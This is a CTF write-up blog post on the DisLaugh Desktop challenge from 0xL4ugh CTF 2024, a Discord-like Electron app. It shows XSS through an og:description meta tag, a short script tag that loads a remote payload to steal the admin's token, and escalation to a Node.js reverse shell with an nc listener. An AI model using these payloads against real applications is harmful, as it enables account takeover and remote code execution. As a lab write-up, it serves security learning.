Introduction

In this blog post, I’ll share how I solved the DisLaugh Desktop Challenge from 0xL4ugh CTF 2024 in an unintended way, along with my team, thehackerscrew.
I 🩸 it and another three solves only so far.
Chall CTFd

Exploring

We start by visiting the link provided in the challenge description, it looks like it’s a carbon copy of Discord

Home Page
We’ll download the Windows Client and then Install it.

Installing the Application After the installation, it will pop out a discord-similar login screen

Login Screen We’ll register a new account first

Register Screen

After registration, it’ll redirect us to the Login Screen again.
After logging, we’ll see the Home Screen.

Home Screen

We have only one option to do, this plus sign is used in Discord to create/join a server.

Join/Create Server

After we create the server it will appear in the left bar, we can click on it to see what’s in there

Server Screen

We can only Send Messages and Copy The Invite code

Server Screen

JS Code Review

Right-click on the DisLaugh shortcut it will show us the installation location.
It will be found at C:\Users\{USERNAME}\AppData\Local\Programs\dislaugh

Install Location

We see here it’s probably the application written in ElectronJS, so we can get the source code from resources/app.asar

app.asar is an ASAR archive that contains the source code for the application.

We’ll use asar utility to extract the contents of the app.asar

Asar Contents

We’ll use any online js beautifier to make the js code more comfortable

We’ll skip the boring parts in app.js but we’ll keep only in mind

 webPreferences: {
            nodeIntegration: !0,
            contextIsolation: !1,
            enableRemoteModule: !0,
            preload: path.join(__dirname, "preload_dash.js")
                }        

In /templates/assets/js we have
alert.js: Responsible for Push Notifications
auth.js: Responsible for handling login/register stuff
dash-events.js: Responsible for listening for all events in the dashboard and routing them to the right function
dashboard.js: Contains all functions
jquery-3.7.1.min.js & socket.io.min.js

We’re interested in the juicy file that contains many functions ( dashboard.js ), I checked many functions but it seems fine for me, Suddenly this function caught my attention

    addLink = (e, a, t, r, s = !1) => {
        var n = $('<div class="msg-container"></div>'),
            i = $('<div class="msg-author-icon"></div>');
        i.text(getUserIcon(r)), n.append(i);
        var o = $('<div class="msg-body"></div>'),
            d = $('<div class="msg-author-name"></div>');
        d.text(r);
        var v = $('<a href="" class="msg-link"></a>');
        v.text(e), v.attr("href", "#"), o.append(d), o.append(v);
        var c = $('<div class="msg-link-metadata"></div>'),
            p = $('<a href="" class="msg-link-title"></a>');
        p.text(a), p.attr("href", "#");
        var l = $('<div class="msg-link-desc"></div>');
        if (l.append(t), c.append(p), c.append(l), s) {
            var m = $('<img src="" class="msg-link-img">');
            m.attr("src", s), c.append(m)
        }
        o.append(c), n.append(o), $(".chat-container").append(n)
    },

Spot the bug

Especially if (l.append(t), c.append(p), c.append(l), s) {
It uses jQuery.append() for user-supplied input which is vulnerable to XSS
Back for dash-events.js to see this function event listener

    .on("message", n => {
        console.log("Message received:", n), "text" == n.type ? addMessage(n.msg, n.author) : addLink(n.link, n.title, n.description, n.author, n.img), ScrollToEnd()
    }), socket.on("error", n => {
        pushErrorNotify("DisLaugh", n)
    })

We’ll see it listens when the WebSocket sends the event message it uses ternary operator to check the type of the message
If the type is text it’ll call addMessage with two parameters otherwise it’ll call addLink with five parameters
We’ll try to send two messages

Test Messages

Let’s take a look at the API directly

Test Messages but from API

We’ll use dirsearch for trying to fuzz GET/POST endpoints to send message as a link

Dirsearch

It uses POST /messages to send messages, we’ll try to fuzz the parameters using arjun with the Authorization header containing my token

arjun

It didn’t give us the known parameters like sid or message, We’ll try to see the response

Test cURL request

Invalid Server ID or message?? Let’s try to add sid & message parameters and run the fuzz again.

Test arjun

arjun still found nothing more than we know, We can’t find more help us control the type or anything, so the server fetches the content and decides internally it’s text or link.

We need to know where is t in l.append(t) coming from, it’s the third parameter in the function declaration in dashboard.js and function calling in dash-events.js
So the vulnerable input is the description, so we can control the description on our website from the og:description tag
We’ll try a simple function to test the XSS

<html>
        <head>
            <meta property="og:title" content="Controlled Website">
            <meta property="og:author" content="omakmoh">
            <meta property="og:url" content="https://omakmoh.me/">
            <meta property="og:image" content="logo.png">
            <meta property="og:description" content="<script>alert(1)</script>">
        </head>
        <body></body>
</html>

Host the HTML file and send it to the channel

Alert Test

BoOoOoM XSS xD

Back to the website, we’ll see a tab called Help Help Page

It looks like after we entered the invite code and an administrator visited our server, Maybe the flag was in a private server? Let’s try to steal the administrator token

We’ll use sendMessage from dashboard.js

sendMessage = async (e, a) => {
        var t = await fetch(BASE_URL + "/messages", {
                method: "POST",
                headers: {
                    authorization: token,
                    "content-type": "application/json"
                },
                body: JSON.stringify({
                    sid: e,
                    message: a
                })
            }),
            r = await t.json();
        return 201 == t.status
    }

The function takes two parameters
e = The server to which you want to send a message
a = The message

It will be sendMessage(activeServer,token)
both variables are declared in dashboard.js

We’ll replace alert(1) with sendMessage(activeServer,token) and send it again in the channel

sendMessage Function

The payload is cropped? It looks like there’s a limit for the description, if we count the characters it’ll be 30 characters and the rest is removed and replaced by ...

Unintended Solution

Quick search I came across this blog by TrustedSec and found a short payload
<script src=http:omakmoh.me/x> that is match our 30 character limit, We’ll replace it and create an x file with the sendMessage on our web server
Create a new server ( We do not want to disturb the administrator due to alerts ) and send the link. Take the invite code and submit it to the help page.

Admin Token

We now have the administrator token, let’s try to replace our token with the administrator token in localStorage ( CTRL + SHIFT + I ) and refresh the application ( CTRL + R )

Disappointment We found nothing, We created this server to check if we are in the right account.

Oh wait, do we remember nodeIntegration in app.js ? the value was !0 that’s means true, So if we have XSS we can get RCE

nodeIntergration means Integrate Node.js features to be accessible directly from your page scripts

We’ll use ready-to-go reverse shell from revshells.com Copy the nodejs code and place it x file

We’ll send the link again in the channel, then we have to listen for incoming connections on port 1337 using nc -nlvp 1337

Now for the final step, we have to invite the administrator again.

flag

We finally got the reverse shell and flag.

Kudos to DarkT for writing such a great challenge!


Follow me on X ( previously Twitter )